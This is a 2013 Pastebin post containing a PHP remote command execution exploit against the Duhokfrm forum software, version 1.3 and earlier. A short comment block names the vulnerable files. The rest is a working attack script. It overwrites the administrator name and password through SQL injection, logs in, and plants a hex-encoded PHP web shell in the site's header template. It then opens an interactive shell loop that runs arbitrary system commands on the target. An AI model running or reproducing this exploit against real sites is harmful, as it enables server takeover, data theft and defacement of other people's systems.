Black-ID

Duhokfrm <= 1.3 (sqli/auth bypass/php code injection) RCE

Jul 15th, 2013
461
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.41 KB | None | 0 0
  1. <?php
  2. /*
  3.     -----------------------------------------------------------------
  4.     Duhokfrm  <= 1.3 Remote Command Execution
  5.     -----------------------------------------------------------------
  6.    
  7.     author...........: Black-ID
  8.     mail.............: dzcoder[at]hotmail[dot]fr
  9.     software link....: n/a
  10.    
  11.     Remote command execution via  /sqli / authentification bypass /php code injection
  12.        
  13. [-] Vulnerability Description:
  14.        
  15. The vulnerable code is located in install/dz05.php
  16.  
  17. .142 $update = mysql_query("UPDATE " . $Prefix . "MEMBERS  SET MEMBER_NAME='$f' WHERE MEMBER_ID ='$p'") or die ("لم يتم القيام باي تغيرات");
  18.  
  19. An attacker can change admin information via sql injection and authenicat the control panel and get full access.
  20.  
  21. The vulnerable code is located in cp_inc\class_object.php
  22.  
  23. .92  $TMP_NAME = $_GET[tmp_name];
  24. .93  $FILE_NAME =  $_GET[file];
  25. .94  $TMP_CONTENT = @stripslashes(@htmlspecialchars(@get_content_withTMPFILE_name($FILE_NAME, $TMP_NAME, 1)));
  26. .95  $TMP_CONTENT = @eregi_replace("\r\n\r\n\r\n\r\n", "", $TMP_CONTENT);
  27. .96  if ($method == "edit")
  28. .97  $DATE_LAST_EDIT = @normal_time(@get_content_withTMPFILE_name($FILE_NAME, $TMP_NAME, 2));
  29.  
  30.        
  31. attacker supplied input passed through the post parameter in order to change style template
  32. and this can lead to inject and execute execute arbitrary PHP code. Successful exploitation of
  33. this vulnerability requires magic quotes off.
  34.        
  35.  
  36. */
  37. error_reporting(0);
  38. set_time_limit(0);
  39. ini_set("default_socket_timeout", 5);
  40.  
  41. function http_send($host, $packet)
  42. {
  43.        
  44.     if (($sock = fsockopen($host, 80))){
  45.     fputs($sock, $packet);
  46.     return stream_get_contents($sock);
  47.     }
  48. }
  49.  
  50. print "\n+------------------------------------------------------------------+";
  51. print "\n| Duhokfrm  <= 1.3 Remote Command Execution By Black-ID            |";
  52. print "\n+------------------------------------------------------------------+\n";
  53. if ($argc < 2)
  54. {
  55.     print "\nUsage......: php $argv[0] host path/ \n";
  56.     print "\nExample....: php $argv[0] localhost duhokfrm/ \n";
  57.     die();
  58. }
  59.  
  60.     $host = $argv[1];
  61.     $path = $argv[2];
  62.    
  63.     $payload = "MEMBER_ID=1&MEMBER_NAME=Black-ID',M_NAME='Black-ID',M_PASSWORD='cb44acc8800b2b3b97079d908e8a715f&MEMBER_ID=1&edit=Ali";
  64.     $packet  = "POST /{$path}install/dz05.php?do=edit&MEMBER_ID=1 HTTP/1.1\r\n";
  65.     $packet .= "Host: {$host}\r\n";
  66.     $packet .= "Authorization: Basic cmFuazpyYW5r\r\n";
  67.     $packet .= "Content-Length: ".strlen($payload)."\r\n";
  68.     $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
  69.     $packet .= "Connection: close\r\n\r\n{$payload}";
  70.     $response = http_send($host,$packet);
  71.     $payload = "user_name=Black-ID&user_pass=dz0";
  72.     $packet  = "POST /{$path}cp_control/login.php?method=login HTTP/1.1\r\n";
  73.     $packet .= "Host: {$host}\r\n";
  74.     $packet .= "Content-Length: ".strlen($payload)."\r\n";
  75.     $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
  76.     $packet .= "Connection: close\r\n\r\n{$payload}";
  77.     if (!preg_match("/Set-Cookie: ([^;]*);/", http_send($host, $packet), $sid)) die("\n[-] Session ID not found!\n");
  78.    
  79.     $shellcode  = "\x3c\x3f\x70\x68\x70\x20\x65\x72\x72\x6f\x72\x5f\x72\x65\x70\x6f\x72\x74\x69\x6e\x67\x28\x30\x29\x3b";
  80.     $shellcode .= "\x20\x70\x72\x69\x6e\x74\x28\x5f\x5f\x5f\x29\x3b\x20\x73\x79\x73\x74\x65\x6d\x28\x24\x5f\x50\x4f\x53";
  81.     $shellcode .= "\x54\x5b\x27\x64\x7a\x30\x27\x5d\x29\x3b\x20\x64\x69\x65\x3b\x20\x3f\x3e";
  82.    
  83.     $payload = "string=&file_name=header&tmp_name_temporaire=head_page&tmp_content=$shellcode";
  84.     $packet  = "POST /{$path}cp_control/cp_home.php?mode=template&method=edit HTTP/1.1\r\n";
  85.     $packet .= "Host: {$host}\r\n";
  86.     $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
  87.     $packet .= "Cookie: {$sid[1]}\r\n";
  88.     $packet .= "Content-Length: ".strlen($payload)."\r\n";
  89.     $packet .= "Connection: close\r\n\r\n{$payload}";
  90.     $response =  http_send($host,$packet);
  91.        
  92. while(1)
  93. {
  94.     print "\nduhokfrm-shell# ";
  95.     if (($cmd = trim(fgets(STDIN))) == "exit") break;
  96.     $payload = "dz0=$cmd";
  97.     $packet  = "POST /{$path}index.php?dz0=$cmd HTTP/1.1\r\n";
  98.     $packet .= "Host: {$host}\r\n";
  99.     $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
  100.     $packet .= "Content-Length: ".strlen($payload)."\r\n";
  101.     $packet .= "Connection: close\r\n\r\n{$payload}";
  102.     $response =  http_send($host,$packet);
  103.     preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
  104. }
  105. ?>
Advertisement
Add Comment
Please, Sign In to add comment